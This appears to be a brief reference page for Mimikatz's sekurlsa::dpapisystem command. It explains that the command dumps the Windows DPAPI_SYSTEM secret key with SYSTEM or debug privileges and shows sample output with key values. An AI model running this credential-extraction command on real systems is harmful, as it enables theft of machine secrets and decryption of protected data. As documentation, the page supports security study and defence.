Last updated 3 years ago
sekurlsa::dpapisystem lists the DPAPI_SYSTEM secret key.
sekurlsa::dpapisystem
DPAPI_SYSTEM
This command requires elevated privileges (by previously running or by executing Mimikatz as the NT-AUTHORITY\SYSTEM account).
NT-AUTHORITY\SYSTEM
mimikatz # sekurlsa::dpapisystem DPAPI_SYSTEM full: c3f9c93d781ff9caa8ba1eb63018c8d869e1278fa17e7c0ff7a4f8c3be91956e1c53000494eaec52 m/u : c3f9c93d781ff9caa8ba1eb63018c8d869e1278f / a17e7c0ff7a4f8c3be91956e1c53000494eaec52
privilege::debug
